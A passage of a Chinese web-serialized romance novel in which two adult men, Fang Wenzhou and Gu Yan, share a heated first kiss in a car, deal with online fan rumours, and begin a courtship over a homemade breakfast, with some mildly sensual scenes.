男人的做法属实有点傻,傻得让他没办法继续绷着脸。 他退掉那些东西,不是因为不喜欢。恰恰相反,顾延买的礼物他都能用到,只是东西实在太多,有些物品他家里本身就有,买回去也是闲置。顾延的心意他领了,但实在没必要这样浪费。 少年抬起下巴,点了点脚边几个已经送到的盒子:“地上的东西你也拿回去吧,我家里都有,用不着。” 顾延顺着他示意的方向看去。 这话落在他耳里,意思再清楚不过,不只是东西不需要,连送东西的这份心意,对方也不想收。 方闻洲还是没有接受他的道歉。 顾延垂下目光,沉默片刻,轻轻应了一声:“嗯。” 他弯下腰,开始将散落在副驾座位下的几个盒子,一个一个捡起来,叠放到后座去。 当他伸手去拿最开始那束包装好的玫瑰时,旁边忽然伸过来一只手,按在了盒盖上。 顾延动作一顿。 他抬起头。 方闻洲说,“等一下,这个我要了。” 顾延的手指还搭在盒子边缘,似乎没反应过来。方闻洲等了两秒,见他没松手,指尖稍一用力,将盒子轻轻往自己这边带了带。 纸盒被方闻洲拿了过去,重新抱回怀里。 “花我要留着。” 顾延瞬间反应过来:“你原谅我了?” 方闻洲没回答这个问题。他低下头,掀开盒盖,将里面的花束拿了出来。 少年低头闻了闻玫瑰,随后,他抬起眼,问出了一个让对方措手不及的问题。 “顾延,你是不是喜欢我?” 顾延整个人定住了。 方闻洲抱着那束玫瑰,往前倾了倾身,又问了一遍:“是不是?” 顾延的喉结滚动了一下。 他还没能完全确定方闻洲的心意,贸然承认,会不会将人推得更远? 时间一分一秒的过去了,方闻洲等了许久也没等到回答,总算耐心告罄。 他啧了声,抬起一只手不由分地托住了顾延的下巴。 顾延浑身一震,瞳孔骤然收缩,所有的思虑都在这一触碰下分崩离析。 方闻洲用了点力,将顾延的脸抬高了些,迫使那双总是深沉难测的眼睛,此刻只能完完全全地映出自己。 两人的距离被瞬间拉近,方闻洲看着他,轻笑了声:“你怎么磨磨唧唧的?” 话音落下,他没给顾延任何反应的时间,闭上眼仰起脸,吻了上去。 作者有话说: 第58章 第58章[VIP] 方闻洲的吻很生涩, 只是贴着,没有进一步的动作。 他的手指还托着顾延的下巴,顾延的目光垂落下来, 视线落在方闻洲近在咫尺的脸上。 少年闭着眼,强作镇定的模样底下,唯有轻颤的眼睫泄露出他的紧张。 都到了这一步了, 顾延再难克制, 他抬手,指尖蹭过方闻洲的耳际, 而后顺着下颌线缓缓抚下,直到温热的手掌若有若无地拢住少年纤细的脖颈。 一个带着明确掌控意味的动作。 方闻洲的睫毛颤得越发厉害, 下意识想睁眼,可还没等他看清顾延眼中的神色,就被男人反客为主地吻了回去。 托着他下巴的手指似乎因他这番动作而卸了力,少年的手滑落下来,随即被顾延另一只手捉住手腕, 不容抗拒地举高按在了头顶上方。 亲吻不再局限于单纯的嘴唇相贴,顾延的嘴唇张开了一些,托着方闻洲后颈的手也用了力气将人按向自己,同时偏过头, 调整了一个更深入的角度。 “唔” 方闻洲的喉间溢出一声短促的闷哼。他本能地想抬手推开,可被制约在头顶上方的手早在唇舌交缠的湿濡水声中, 便绵软下来。 顾延的吻起初还有些克制,但很快为数不多的克制就崩解了。他的舌尖试探性地抵开方闻洲的唇缝, 长驱直入。 车厢内的空气陡然升温, 方闻洲被吻得向后仰,背脊抵在了副驾驶座的车门上。顾延顺势压过来, 手臂撑在他身侧,将人困在了座椅和自己的胸膛之间。 那束白色玫瑰被挤压在两人中间,顾延的吻变得深入而贪婪,他吮吸着方闻洲的下唇,舌尖扫过齿列,探入口腔更深处。 狭小的车厢空间里,暧昧的水声与急促的喘息被无限放大。 顾延近乎贪婪的掠夺方闻洲口中的气息,方闻洲只觉得氧气被一点点抽空,晕眩感伴随陌生的酥麻从脊椎骨窜上来,让他浑身发软。 就在这意乱情迷中,有什么坚硬而灼热的东西,隔着几层衣料不容忽视地抵住了他的小腹。 方闻洲混沌的思绪骤然清明了一瞬,整个身体顿时僵住了。 那触感太过清晰,即便隔着布料,也能感受到其下的轮廓,他并非懵懂无知,刹那间就明白了那是什么。 顾延的呼吸明显粗重起来,喷洒在方闻洲的唇角,滚烫得吓人。 许是担心事情失控,少年原本被吻得失了力气的手,竟从那桎梏中挣脱了出来,手腕皮肤被摩擦得有些发红,传来细微的刺痛。 他掌心抵上顾延滚烫的胸膛,往外推拒:“顾延。” 破碎的音节从两人紧密交合的唇齿间逸出,少年推拒的力道并不坚决,可还是让顾延停下了动作。 顾延稍稍退开些许,眸色黑沉,其中翻涌的情潮尚未平息,他的目光紧紧锁着身下的人,胸膛随着喘息剧烈起伏,紧紧贴着方闻洲推拒的掌心。 那束白色玫瑰早已被挤压得不成形状,花瓣零落,落于地上。 方闻洲仰靠在车门上,胸口剧烈起伏,嘴唇红肿湿润,眼睫上沾着不知是情动还是缺氧沁出的细小泪珠。 顾延垂着眼看他,眸色深得如同化不开的浓墨,其中翻涌的情潮尚未平息。 “怕了?”顾延开口,声音哑得厉害。 怕?男人怎么能在这个时候承认自己害怕了?更何况是他先主动的。 小腹处的触感还抵着他,方闻洲没有躲,反而挑衅的抬起眼,湿润红肿的唇瓣轻启,吐出的字音像带了钩子。 “怕什么?” 少年的手慢慢地攀上了顾延的衣襟,指尖先是触碰到领口处,然后手指往中间移动,最终停留在了领带结处。 他没用多少力,只是用食指若有似无地勾住了领带结的布料。 空气里的热度非但没有因为方才的暂停而冷却,反而更加粘稠起来。 顾延的眸色更深了。他没有回答方闻洲的问题,只是低下头,再次逼近,意图不言而喻。 男人想要继续刚才被打断的吻,可惜这一次,少年没有让他得逞。 就在男人的唇即将再次覆上来时,少年原本抵在他胸膛的手轻轻抬起,食指横在了对方唇上。 方闻洲仰靠在车门上,这个姿势让他不得不微微抬着下巴,眼神却自上而下地睨着顾延。 少年的手指秀丽骨节分明,指尖压了压顾延的下唇,声音慵懒。 “顾先生。” 这个称呼被他用一种近乎调弄的语气叫出来,尾音上扬诱惑。 “我答应和你在一起了吗?” 红肿湿润的唇,湿漉漉的眼睛,凌乱的衣襟 每一处都写着刚刚发生过的事情,偏偏这张嘴里,吐出的却是拒人千里之外的话。 “顾先生?” 顾延重复了一遍这个称呼,少年的手指横亘在他唇上,他非但没有退开,反而就着方闻洲抵着他唇的姿势,在那指尖上啄了一口。 温热柔软的触感一掠而过,方闻洲的指尖条件反射的蜷缩了下。 顾延一字一句,“先是主动招惹我,亲了之后就不认账了?” 听到顾延的质问,方闻洲忽然就笑了。那笑意染着尚未褪净的水色眼波,竟有种惊心动魄的艳丽。 “顾先生这话说的,”他慢悠悠地开口,横在对方唇上的食指非但没退,反而用指尖更轻佻地蹭了蹭湿润的下唇,“都是成年人了,亲一下怎么了?” 话音落下,方闻洲移开抵在顾延唇上的手指,继而用上十成的力气,将人向后一推。 顾延似乎没料到他这突如其来的力道,猝不及防之下身体向后仰去,撑在座椅上的手臂也跟着一松。 趁此机会,方闻洲腰身一拧,灵巧地从他与车座之间狭窄的空隙里滑了出来,迅速坐正了身体,拉开了两人之间过分危险的距离。 副驾驶座重新变得空旷,方闻洲理了理自己被揉得凌乱的衣襟。少年的动作不疾不徐,仿佛刚才那个被吻得浑身发软,眼睫含泪的人不是他。 顾延被他那一推,后脊抵在了驾驶座的椅背上,他维持着后仰的姿势,手肘搭在方向盘上,目光沉沉地锁住坐回副驾驶的方闻洲。 男人额前的发丝因为方才的纠缠而略显凌乱,几缕碎发垂落在眉骨上方,衬得那双深不见底的眼睛更添了几分危险的侵略性。 “你的意思是这个吻,对你来说是可以轻飘飘揭过的一件事?” 车厢内一时寂静,只有两人都试图平复却依旧不太平稳的呼吸。 方闻洲终于整理好自己,至少表面看起来恢复了八九分,他伸手将歪倒在一旁的白玫瑰捡起来,答非所问:“花都被你压坏了。” 顾延的眼底因为方闻洲这明显的转移话题而更添了几分沉郁。 “花?方闻洲,你现在跟我谈花?” 方闻洲没有理会顾延话里的压迫感,他晃了晃手中那支残破的玫瑰,让最后几片将落未落的花瓣在空中打了几个旋,然后手腕一扬,将那支狼藉的花束抛向了顾延的怀里。 顾延接住抛来的花束,眉头紧蹙,看向方闻洲。 方闻洲拍了拍手,语气骄纵:“坏了的我不要,你明天重新给我买一束。” 电光石火间,顾延忽然领会了方闻洲这举动的含义。 少年谈论的从来不是花,而是他们的开始,这束被压坏的花,是布满隐瞒的过去,新的花则表示未来。 顾延眼底的沉郁散开,随手将那支残破的玫瑰扔到了后座,低笑了一声,“一束花而已,明天买给你就是。” “看在你这么识趣的份上我就给你个追我的机会好了。”方闻洲别开视线,语速加快,像要赶在羞涩漫上来之前把话说完。 话一出口,他似乎觉得气势不够,又赶紧扭回头,板起脸补充道,“不过!只是机会而已,至于最后要不要和你在一起,可得看你接下来的表现。知道了吗,顾先生?” 少年那强撑傲娇的小模样实在可爱。顾延抬手抵住唇角,将几乎要溢出的笑意压了回去,面上却端出一副再正经不过的神色,应道:“都听你的。” 这句纵容的回应让方闻洲耳根的热意又攀升了几分,他努力维持表面的骄矜,从鼻腔里轻轻哼了声,算是勉强认可了顾延的态度。 亲都亲了,话也都说开了,连追求资格都给出去了,也就没有再继续待在车里的必要。 天色已晚,方闻洲清了清嗓子,准备开溜。告别的话刚到嘴边,视线却不经意间扫过某个还屹立不倒的东西。 方闻洲玩心又起,他推开车门,一只脚已经踩到了地面,才回过头,冲着车内的人勾起唇角,笑得像只得逞的小狐狸。 “顾先生,不过是被碰了一下嘴唇,就急不可耐成这样,您这定力,未免也太不经撩拨了吧~” 夜风微凉,拂过少年发烫的脸颊。撩完人的少年头也不回地溜进屋中,徒留被惹了一身火的男人独自坐在车内。 良久,顾延松了松领口,抬眼望向已熄了灯光的窗口,低声骂了句脏话。 作者有话说: 第59章 第59章[VIP] 门在身后合拢, 方闻洲穿过玄关,径直走进浴室。他拧开水龙头,俯身接了一捧冷水泼在脸上。 水很凉, 他反复了几次,直到颊边的燥热褪去些许,才抬手关上水流。 镜子里映出他此刻的模样。 头发被刚才的动作撩得微乱, 几缕湿发贴在额角。最扎眼的是嘴唇, 红肿得厉害,下唇一处破皮格外明显, 泛着湿润的水光。 视线向上,是一双湿漉漉的眼睛, 眼尾残余着一抹淡红,长睫上似乎还挂着未干的水珠,原本平整的衬衫领口被扯得有些歪斜,锁骨处依稀可见被亲吻的痕迹 等等,那是吻痕? 顾延什么时候吻他锁骨了? 方才在车里, 意识被搅得七荤八素,所有感官都被顾延的气息侵占,他竟然丝毫没有察觉到,自己身上被烙下了印记。 “啊——” 方闻洲抬手捂住滚烫的脸颊, 之前在车里强撑出来的从容,此时消失得无影无踪。他逃也似的冲出了浴室, 将自己摔进柔软的床铺里。 身体陷进被褥,布料短暂地覆盖住皮肤, 却盖不住底下属于另一个人的印记。思绪像失了缰的野马飘得更高飘得更高, 车内的画面不受控制地一幕幕回溯。 滚烫的呼吸交错,唇舌间蛮横缠绵的掠夺, 每一个被无限放大的细节都重新浮现于脑海,灼烧着他的神经。 不行,不能再想了。必须给自己找点事情做,转移下注意力。 他给自己翻了个面,仰面朝天,摸索着从枕头边捞过手机,点开了某个橙色标志的软件。 微博界面弹出,言故发博求原谅的话题一举登上热搜,评论的数量数都数不过来,并且还在以肉眼可见的速度继续攀升。 方闻洲手指悬在屏幕上方,犹豫了片刻,终究还是抵不过某种微妙难言的心理,点了进去。 评论区较之前更加喧嚣沸腾,前排的热评五花八门,有震惊言故诈尸的,也有贡献哄人大法的,方闻洲心不在焉地划拉着,直到一个被点赞数顶到前列的评论出现。 【我有个大胆的想法!能让言故大大这么放下身段道歉的,会不会是青瓷太太?】 青瓷这个名字方闻洲并不陌生,是网站另一位大神级别的作者,文风以细腻温柔见长,名气虽不及言故,但也拥有众多忠实读者。 更重要的是,青瓷曾多次在社交动态中,毫不掩饰地表达对言故作品的欣赏。 一来二去,两人虽无太多公开的互动,却也吸引了不少喜欢脑补的读者,自发形成了数量可观的CP粉。 此时,在这些CP粉眼中,言故这条没头没尾只为在意的人而发的微博,简直像是从天而降的巨糖。 所有模糊的指向,都被他们套在了青瓷身上。 【卧槽,姐妹脑洞大开但莫名合理。青瓷太太对言故大大的欣赏那可是出了名的,而且两位都是文字工作者,共同语言肯定多。】 【青瓷太太最近的微博感觉有点低落,感觉时间对得上呀。】 【你们去看他上周的动态,里面写仰望的光太过于灼人,这根本就是在暗喻吧。现在想想,是不是因为跟言故大大之间发生了什么,才会这么说?】 【而且言故大大消失写文这一年多,青瓷太太的更新频率也明显慢了,还总写些带点遗憾的句子。】 【姐妹们快去看,青瓷太太刚才点赞了一条关于原谅的博文,虽然秒取消了,但我手快截到图了,这是不是一种隐晦的回应?!】 方闻洲抿了抿唇,唇瓣上被咬破的地方传来细微的刺痛。 他截下了热评以及下面几条分析得头头是道的回复,手指熟稔地点开微信就想往顾延的对话框里丢。 刚点进微信,他突然想起,自己昨天一气之下,好像把顾延所有的联系方式都拉黑了。 少年盯着手机屏幕,微博评论里关于言故和青瓷有一腿的猜测格外刺目,扎得他心里一阵莫名烦闷。 男人晚上才在车里激烈地吻过他,转眼间,却在另一个世界里与别的人名捆绑。 心里的小疙瘩不知不觉膨胀成了一个个酸涩的气泡。 他有点不高兴。 不行,既然都要追他了,怎么还可以和别的人关联在一起。 方闻洲点开手机设置,翻到黑名单,把人从黑名单里放了出来。 微信通讯列表里,立刻多了一个他再眼熟不过的头像。他没犹豫,从相册里选中刚才的截图,指尖一划,发了过去。 【一叶舟:顾总真是忙啊,现实里日理万机,网上的人际关系也挺热闹。】 信息发出去后,方闻洲就把手机扔到了一边,脸埋进枕头。 可预想中的痛快并没到来,心头那团乱麻似的郁气,反被自己这句阴阳怪气的话一激,堵得更加坚实了。 他无处发泄,只能懊恼地捶了几下枕头。 手机静静躺在凌乱的床单上,屏幕暗着。方闻洲维持着趴伏的姿势,耳朵却不由自主地支棱起来,等待顾延的回信。 时间一分一秒过去,就在他以为顾延会觉得他无理取闹懒得搭理时,屏幕亮起,消息提示音随之响起。 方闻洲心跳漏了一拍,他把头从枕头里偏过一点,只侧过些许角度,用眼角余光悄悄去瞥消息是不是顾延发的。 嗯,头像没错,是他熟悉的阴暗小兽。 心里那点堵着的郁气莫名其妙散开了一些,他慢吞吞地伸出手,把手机够过来。 【G:不好意思,刚才在开车,才到家。】 【G:截图看到了。不认识,没交集。】 【一叶舟:哦?顾先生一句不认识就撇清关系了?】 【G:没有撇清,是事实。】 【G:我和她唯一的交集,仅限于网站年度榜单排在相邻的位置,私下从未聊过。】 【一叶舟:谁知道呢,顾先生心思深沉,我可猜不透。】 某种程度上他已经有点胡搅蛮缠,顾延解释的已经很清楚,可他就是想要顾延多哄哄他。 顾延的回复没有并没有因他故意挑衅的话流露出半点不耐。 【G:是,都是我的错。是我没处理好,才让这些闲话传到你眼前,碍了你的眼。】 【G:我该早点发现,早点澄清的。】 这人认错认得干脆,态度也足够低,他心里的酸泡泡被戳破,但面上还绷着。 方闻洲手指动了动,想再回点什么,对面顾延的消息又跳了出来。 【G:稍等一下。】 【一叶舟:嗯?】 方闻洲盯着这几个字,有些不明所以。 时间大概过去了两三分钟,手机再次震动。 【G:你上微博看看。】 方闻洲心头微动,隐约猜到什么。他切出微信,点开微博主页刷新。 特别关注列表里,之前沉寂了半年多的言故在今天晚上破天荒地连发了两条动态,最新的一条,竟是直接转发了那条说言故和青瓷很配的热门评论。 【言故:不认识,说的不是他。】 这短短一行字,让原本欢天喜地磕糖的CP粉瞬间哀鸿遍野。 【卧槽,正主亲自下场拆CP,这么直接的吗?!】 【所以青瓷太太只是单箭头吗?有点尴尬啊。】 【不是,青瓷好歹也是同站大神,一点面子不给吗?】 【给什么面子?本来就不熟,为什么要给面子?非要暧昧不清让你们继续磕才叫给面子?】 【纯路人,觉得言故这操作挺好的,不喜欢就不喜欢,不搞暧昧那一套,挺好。】 【只有我好奇言故大大到底在跟谁道歉吗???这瓜吃到现在越发扑朔迷离了。】 不单是公开的评论区炸了锅,就连小群消息也被小甲她们几个刷到爆炸。 【小甲:我!的!天!言故大大这是什么操作?】 【秃头校对员:这澄清速度,感觉是怕谁误会一样。】 【言大的茶:到底是谁能让言故大大做到这个份上,又是公开道歉又是火速拆CP,这得是多在乎那人啊?】 消息还在不断往上刷。 另一边,顾延见方闻洲迟迟没有回复,又主动发来一条。 【G:这样处理,可以吗?】 方闻洲对着屏幕,嘴角一点点翘起来。 他忍不住把脸埋进枕头里蹭了又蹭,才拿起手机慢吞吞地打字。 【一叶舟:马马虎虎吧。】 【一叶舟:下次注意,别再让人随便跟你名字放一起。】 【G:好,记住了。】 【G:以后我的名字,只跟你放在一起。】 方闻洲看向最后这行字,耳根刚降下去的温度又烧了起来。 【一叶舟:嗯。】 他匆匆回了一个字,就把手机屏幕按灭。房间里静悄悄的,只有胸腔里的心扑通跳得有点乱,多半都是被这句话给搅的。 “以后我的名字,只跟你放在一起。” 说得可真够顺溜的,方闻洲把手机丢到一边,重新仰面躺倒。 这人以前是不是谈过不少对象? 哄人的话一套一套的,情话张口就来,就连吻技都熟练得不像新手。 不行,明天到公司得找个机会亲自问问顾延。 作者有话说: 第60章 第60章[VIP] 阳光透过窗帘的缝隙钻了进来, 方闻洲迷迷糊糊地睁开眼,意识像沉在水底费力地往上浮。 这一夜,他睡得并不踏实, 做了一晚上的梦。 梦接续了昨夜的记忆,只不过两人换了地方,地点由车内转到了卧室的床上。 顾延的手循着睡衣下摆探入, 掌心紧贴他的腰侧。纽扣一颗颗被解开, 空气刚触及皮肤,便被灼热的亲吻取代。 接着, 睡裤的松紧带被勾住,一点点向下褪去。指尖游移到腿根敏感的肌肤时, 自己喉间溢出的喘息已凌乱不堪。 “叮铃铃” 闹钟适时响起,将方闻洲从那个黏腻的梦境里拽了出来。 方闻洲浑身一颤睁大眼睛,心脏在胸腔里狂跳,他大口喘息着,额角渗出一层细密的冷汗, 梦境里最后那令人头皮发麻的触感好像还残留在皮肤上。 少年下意识地并拢双腿,却立刻感觉到一种不同以往的黏腻感,正紧紧贴附在最私密的布料上。 所有残存的睡意在瞬间蒸发殆尽。 方闻洲僵住了,巨大的羞耻感攥住了他。他慢慢地低下头, 视线迟疑地投向被子掩盖下的身体中下位置。 虽然隔着衣物,但那明显异于平常的触感, 以及空气中弥散开的特殊气息,都在明明白白地宣告了一个事实。 他居然——!! 血液全部冲上了头顶, 方闻洲猛地抬手捂住自己滚烫的脸, 恨不得原地消失。 被窝里的触感无法忽视,甚至随着他意识的清醒而愈发鲜明, 梦境里混乱破碎的画面不受控制地再次闪过脑海。 方闻洲啊方闻洲,昨天晚上在车里被人亲得七荤八素,回来还得回味一晚上。 你就这么饥渴吗?! 方闻洲内心发出无声的哀嚎,脸颊在掌心下烧得更厉害了。 不行,不能再想了,必须要马上处理掉。 他手脚并用地爬下床,连拖鞋都顾不上穿,光着脚就冲进了浴室。 等到方闻洲把自己从头到脚冲洗干净,又换上一整套干净的床品,时间已经过去了将近半小时。 幸亏昨晚睡得不安稳,今早醒得比平时早,闹钟也设得提前了些。 这场意外虽占去不少时间,但算算通勤抓紧点的话,还不至于迟到。他匆匆喝了杯牛奶,抓起背包和钥匙就出了门。 单元门被推开,早晨清冽的空气涌入肺腑,稍稍驱散了些许燥热。 方闻洲深吸一口气,正准备快步走向平时打车的地方,目光往顾延昨晚停车的位置撇了一眼,脚步随即停住。 那辆黑色轿车竟还停在那里。车窗半降,露出了顾延的侧脸。 他在看着手机,晨光恰好裁出他挺直的鼻梁。早晨的回忆又不合时宜地翻涌上来,方闻洲赶紧晃了晃脑袋,切断思绪。 顾延怎么还在这里? 仿佛心有灵犀,就在方闻洲脚步顿住的时候,顾延抬起了头。 隔着十几米的距离顾延朝他笑了笑,方闻洲站在原地,看着男人身影穿过清晨的日光,朝自己走来。 顾延今日一身休闲打扮,比昨天少了些正式,却更凸显出肩宽腿长的好身材。 随着他越走越近,方闻洲才看清他脸上那抹笑意。 话说回来,昨天梦里顾延似乎也带着类似的笑意,只不过更具侵略性 “早上好。” 顾延在他面前站定,声音温和很是好听。 “早。”他干巴巴地应了一声。 顾延已经走到了他面前,自然而然地伸出手,接过他的背包。 “你怎么一大早就来了?”方闻洲尽力让自己的声音听起来平静,可眼神却不由自主地飘向别处,不敢与顾延对视太久。 昨晚梦里的片段,让他此刻面对顾延时,总有种莫名的心虚,仿佛随时会被看穿。 顾延没错过他闪躲的视线,眼神暗了暗:“不是说好了要追你么?你现在又不给追了吗?” 方闻洲被他问得一噎;“哪有不给你追。” “那为什么不肯看我?” 顾延的手忽然贴近,指尖触及下巴,稍稍用力便让他抬起了脸。 方闻洲避无可避,不得不直视他,顾延的指腹随即抚上他唇上的伤口,轻轻摩挲。 “我” 这要让他怎么开口,总不能实话实说吧。方闻洲张了张嘴,半晌,也只艰难地挤出一个字,便再无下文。 “你是不是开始讨厌我了,是我昨天晚上做的太过分了吗?” 男人垂下眸子,连搭在少年脸上的手也放了下来。 “对不起,是我太贪心了。明明说过要慢慢来,可我总是忍不住想靠近你一点。” “没有!不是!” 方闻洲反驳道。 “可你从刚才开始,就一直不肯看我。”顾延抬眼看他,惯常沉静的眼眸里,竟蒙上了淡淡的黯淡。 他继续说:“连我自己有时候都控制不住那些过分的念头。你会觉得害怕,也是应该的。” “我没有害怕。” 方闻洲被他这一番自我剖析搅得心绪纷乱。 顾延这副示弱自责的模样,与昨晚在车里强势的他判若两人。这般反差之下,方闻洲因梦境而生出的那点羞耻,顿时被愧疚冲散了大半。 是不是自己反应太大了? “你别这么说。”方闻洲的声音软了下来,他主动伸出手,扯了扯顾延的衣袖,笨拙的安慰,“我没有觉得你可怕,也没有要疏远你。你别多想。” 听到这话,顾延黯淡的眼神亮起了一点微光:“真的吗?不是因为讨厌我碰你?” 方闻洲用力点头,“真的,不讨厌。” “那就好。” 顾延松了一口气,反手握住了方闻洲还没来得及收回去的手,十指相扣:“走吧,我给你准备了早餐。” 手被裹进顾延的掌心,方闻洲怔了怔,随即放松下来,任由他牵着自己走向车旁。 车内有隐隐的食物香味传来,顾延从后座拿过一个保温袋打开,里面是分装好的食盒。 “不知道你喜欢吃什么,就都准备了点。” 顾延将食盒取出,放在他面前。 早餐丰盛得超乎方闻洲的预料,而且明显是花了心思准备的,不是随便买的便利店三明治。 最中间是晶莹剔透的虾饺皇,薄如蝉翼的澄面皮裹着饱满粉嫩的虾仁,旁边是豉汁蒸凤爪,软烂入味酱色浓郁。 除此之外,还有小盅炖得香气醇厚的皮蛋瘦肉粥。 说是不清楚他的吃食爱好,但买来的样样都合他心意。 方闻洲问:“怎么准备了这么多?” 顾延将筷子递给他,“不多,你太瘦了,多吃点。” 眼前食物的香味扑鼻,方闻洲没忍住咽了咽口水。昨晚和今早的消耗不小,他夹起一个虾饺皇,送入口中。 澄面皮爽滑弹牙,内里整颗虾仁鲜甜饱满,温度也刚好。他又尝了尝凤爪,软糯脱骨,味道极好。 “真好吃,”方闻洲又夹了一个虾饺,腮帮子鼓起,“这是在哪家店买的?味道这么地道。” 顾延眼底漾开温和的笑意,“不是买的,我做的。” “咳咳”方闻洲猝不及防,被一口鲜美的粥呛到,捂着嘴咳了起来 。 顾延倾身过来,拍抚他的后背,无奈道:“慢点吃。” 好不容易顺过气的方闻洲难以置信地问他:“这些全都是你自己做的?” 他说的轻描淡写,感觉只是随手为之,可广式早点最是费时费力,方闻洲不禁追问:“你几点起来的?” “没多早,我还担心做的不符合你口味。”顾延避重就轻,移开话题。 “怎么会不符合口味?好吃,特别好吃。”他生怕顾延不相信,还强调了一遍:“是我吃过最好吃的早餐。” 顾延顺势而为,说:“你要是喜欢我天天给你做。” 方闻洲连忙拒绝: “不用,太麻烦了。你工作那么忙。” 顾延坚持:“不麻烦。” “真的不用,偶尔一次就好,天天这样你也吃不消。”方闻洲仍想劝他。 顾延沉默片刻,“可我想照顾你。” 方闻洲听了,只得松口:“那说好了,不用太复杂,简单点就行。” “好,听你的。”顾延坐回到驾驶座,启动车子,“你先吃,我开车。” 从刚才开始顾延好似一直没有动筷,方闻洲问:“你不吃吗?” “我吃过了,早上起来准备的时候顺便吃了点,这些都是给你带的。” 听到这话,方闻洲心下稍安,小口喝着粥。 车厢内再次安静下来,窗外的景色往后退,他吃完最后一口粥,放下勺子和食盒,满足地舒了口气。 顾延问:“吃饱了?” “嗯,饱了。”方闻洲摸了摸肚子,“特别好吃,谢谢你顾哥。” 顾延看了他一眼,目光柔软,“跟我不用这么客气,以后想吃什么都告诉我。” “好。”方闻洲没有拒绝,乖乖应下。 窗外的街道越来越熟悉,公司大楼已经隐约可见,车子驶入公司的地下停车场,方闻洲解开安全带,正要伸手去开车门,身旁的顾延忽然开口。 “等等。” 方闻洲疑惑地转过头:“嗯?” 顾延侧身看向他,试探问:“我早上,表现应该还算不错?” 少年眨了眨眼,“昂?表现的特别好。” 顾延接着说:“既然我表现得特别好,是不是可以申请一点小小的奖励?” 奖励? 方闻洲心头警铃响起,看向顾延近在咫尺的脸。 男人如今的神情他再熟悉不过,昨夜就是用这个表情,将他亲得失去方寸。 “你想要什么奖励?”方闻洲身体往后靠了靠,抵住了车门。 事到如今,方闻洲才后知后觉的感受到,自己像是被某人下套了。 作者有话说:《 》 第61章[VIP] 第61章 第61章[VIP] 顾延往前倾身:“抱抱我可以吗?” 方闻洲闻言一怔。 原来只是想要一个拥抱。 悬起的心落地, 随之涌上愧疚之意意。 顾延今天表现得这么体贴周到,而自己却始终暗自揣度,防备他得寸进尺。 他收敛心绪, 倾身张开双臂,给了顾延一个拥抱。 他原打算只是一抱便松开,然而下一秒, 男人的手臂便圈住了他的腰, 稍稍用力,将他整个人揽入怀中。 脸颊陷进柔软的衣料, 身体贴紧温热坚实的胸膛,一股久违的踏实感漫上心头, 竟让人一时舍不得离开。 也正是在这样毫无间隙的贴近里,早上憋了半天的问题,又冒了出来。 “顾延。”方闻洲把脸埋在男人肩窝。 “嗯?怎么了?”顾延低头看他。 方闻洲手指揪住顾延后背的衣服:“你以前是不是谈过挺多次的?” 问完,他自己先有点不好意思,两人如今的关系还未明确, 这样问是不是有点冒昧? 他感觉顾延的身体似乎微微一顿,抱着他的胳膊没松,反而收得更紧了点。 顾延下巴蹭了蹭他的头发,反问:“怎么想起问这个?” 方闻洲一时语塞。他不好意思直言因为你太会了, 默然片刻,才含糊地道:“就是觉得, 你好像很懂得怎么对人好。” 头顶上的人被他的话逗笑:“目前为止,还没谈过。” 怀里的少年难以置信的抬头:“什么?” 怎么可能? 震惊之下, 另个疑惑未经大脑就脱口而出。 “那你吻技怎么那么好?!” 雾草, 他怎么把心里最深的疑惑给秃噜出来了? 方闻洲猛地抬手捂住嘴,眼睛睁得滚圆。顾延显然也没料到他会问出这句, 先是一怔,随即眼底迅速积聚起浓稠得化不开的笑意。 他就着方闻洲抬头的姿势,又往前贴近了些许,“吻技好?” 温热的气息拂过耳畔。方闻洲被他看得头皮发麻,下意识想往后退,腰却被那条手臂牢牢锢住,只好慌忙补救:“我、我胡说的,你就当没听见!” 顾延不依不饶,“可我听见了,而且听得特别清楚。” 他略略退开些许,好整以暇地端详眼前人满脸的羞窘:“原来你一直在想这个?” “瞎说!我没有!”方闻洲立刻矢口否认。 “好,没有。”怕少年待会炸毛了,顾延顺着他的话安抚。 他目光落回对方紧抿的唇上,停顿片刻,回答了刚才方闻洲的问题:“有些事情大概真的可以无师自通,比如说该怎么亲你。” 方闻洲被他直白的话定在了原地。半晌,他终于找回了自己的声音,挤出一句:“你这是歪理。” 顾延问:“为什么不能是我的理论体系比较特别。” 方闻洲瞪着他,“强词夺理。” “可它只对特定对象生效。”顾延诱哄道:“要不要再验证一下我的理论?” 方闻洲一激灵,抵住顾延胸口:“验证什么验证,我要迟到了!” 顾延没再强行靠近,只是任由他的手抵着,“这么坚决?我还以为我的理论很有说服力。” “你这叫歪理邪说,没有验证的必要。”方闻洲稳住心神,“快松手,我真要走了。” 顾延低笑一声,顺从地放开了环在他腰间的手臂:“待会见。” 方闻洲如蒙大赦,拉开车门跳下去,头也不回地朝电梯快步走去。 直到那道身影消失在闭合的电梯门后,顾延又在车里坐了十来分钟,才不疾不徐地下车,走向另一部电梯。 目前方闻洲暂时还不想让同事看出两人之间的暧昧。顾延明白,也愿意顺着他的节奏来。 不过这点心照不宣的小小隐瞒,并不妨碍顾延近来持续上扬的心情。以至于当顾行辰推开他办公室的门时,一眼就看出他最近气场的不同。 “哟,哥,近来捡钱了?心情这么好?” 顾延没接话,径直走到会客区的沙发坐下,长腿交叠,姿态是罕见的松弛:“最近游戏数据怎么样?” 顾行辰来了精神,开始滔滔不绝地汇报,“比你预期的还要好,尤其是方闻洲主笔的那张核心卡面,讨论度一骑绝尘。” 提到方闻洲,顾延眼底掠过柔光,但很快又被惯常的淡然覆盖。他等顾行辰兴奋劲儿稍歇,才慢悠悠地开口:“看来,你这个老板当得还算合格。” 顾行辰嘿嘿一笑,正要自夸两句,却见顾延话锋一转:“既然项目还算成功,有些旧账,是不是也该清算了?” “旧账?什么旧账?”顾行辰一时没反应过来。 顾延拿出手机,指尖在屏幕上划动几下,一段录音传了出来。 “要是方闻洲真是闻舟,我顾行辰穿女装开直播给你当狗使唤。” “可以。” “要是你输了,就得无偿给我打一个月的工。” “成交。” 顾行辰:“” 他脸上的笑容僵住,后背隐隐发凉。 “想起来了?”顾延收回手机,看向他。 “不是哥,”顾行辰仍试图辩解“这赌约还没定输赢呢,方闻洲他又没亲口承认自己就是闻舟。” “是不是,你心里真没数?他不久前发在微博上的那桌菜,在他发微博之前我不就拍给你过?” 顾行辰总算是想起这件事来。 大约在某个晚上,他哥莫名其妙的发来一张丰盛晚餐的照片。他当时正被一个技术难题搞得焦头烂额,只随口抱怨了一句放毒,根本没细看。 如今,他抖着手,重新点开被遗忘在聊天记录里的图片,放到最大。 照片里的菜肴,与闻舟不久前晒在微博上的那一桌,完全相同。 铁证如山,无可辩驳。 